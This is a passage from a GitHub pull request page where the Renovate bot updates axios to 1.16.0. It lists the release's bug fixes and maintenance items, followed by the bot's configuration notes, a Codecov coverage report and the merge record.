  • HTTP Adapter — Streams & Timeouts: Preserved the partial response object on AxiosError when a stream is aborted after headers arrive, honoured the timeout option during the connect phase when redirects are disabled, and resolved an unsettled-promise hang when an aborted request was combined with compression and maxRedirects: 0. (#​10708, #​10819, #​7149)
  • Fetch Adapter: Enforced maxBodyLength / maxContentLength in the fetch adapter, set the User-Agent header to match the HTTP adapter, preserved the original abort reason instead of replacing it with a generic error, and deferred global access so importing the module no longer throws a TypeError in restricted environments. (#​10795, #​10772, #​10806, #​7260)
  • XHR Adapter: Unsubscribed the cancelToken and AbortSignal listeners on the error, timeout, and abort code paths to prevent leaked subscriptions. (#​10787)
  • Error Handling: Attached the parsed response to AxiosError when JSON.parse fails inside dispatchRequest, prevented settle from emitting undefined error codes, and tightened the parseProtocol regex to require a colon in the protocol separator. (#​10724, #​7276, #​10729)
  • Types & Exports: Aligned the CommonJS CancelToken typings with the ESM build, fixed a compiler error caused by RawAxiosHeaders, and re-exported create from the package index. (#​7414, #​6389, #​6460)
  • UTF-8 Encoding: Replaced the deprecated unescape() call with a modern UTF-8 encoding implementation. (#​7378)
  • Misc Cleanup: Resolved a batch of small inconsistencies and gadget-level issues across the codebase. (#​10833)

🔧 Maintenance & Chores

  • Refactor — ES6 Modernisation: Modernised the utils module and XHR adapter to use ES6 features, and tidied the multipart boundary error message. (#​10588, #​7419)
  • Tests: Hardened the HTTP test server lifecycle to fix flaky FormData EPIPE failures, fixed Win32 platform support for the pipe tests, and corrected an incorrect test assumption. (#​10820, #​10791, #​10796)
  • Docs: Documented paramsSerializer.encode for strict RFC 3986 query encoding, updated the parseReviver TypeScript definitions and configuration docs for ES2023, added timeout guidance to the README's first async example, and expanded notes around the recent type changes. (#​10821, #​10782, #​10759, #​10804)
  • Reverted: Reverted the transformRequest input typing change from #​10745 after follow-up review. (#​10745, #​10810)
  • Dependencies: Bumped actions/setup-node, the github-actions group, and postcss (in /docs) to their latest versions. (#​10785, #​10813, #​10814)
  • Release: Updated changelog and packages, and prepared the 1.16.0 release. (#​10790, #​10834)

🌟 New Contributors

We are thrilled to welcome our new contributors. Thank you for helping improve axios:

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@codecov
Copy link
Copy Markdown

codecov Bot commented Jun 1, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 92.91%. Comparing base (1874b10) to head (ea99725).

Additional details and impacted files
@@            Coverage Diff             @@
##           master    #1930      +/-   ##
==========================================
- Coverage   92.93%   92.91%   -0.02%     
==========================================
  Files         167      167              
  Lines       11714    11714              
==========================================
- Hits        10886    10884       -2     
- Misses        828      830       +2     
Flag Coverage Δ
unit 92.91% <ø> (-0.02%) ⬇️

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@B4nan B4nan merged commit bf6162f into master Jun 1, 2026
33 checks passed
@B4nan B4nan deleted the renovate/npm-axios-vulnerability branch June 1, 2026 07:42
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants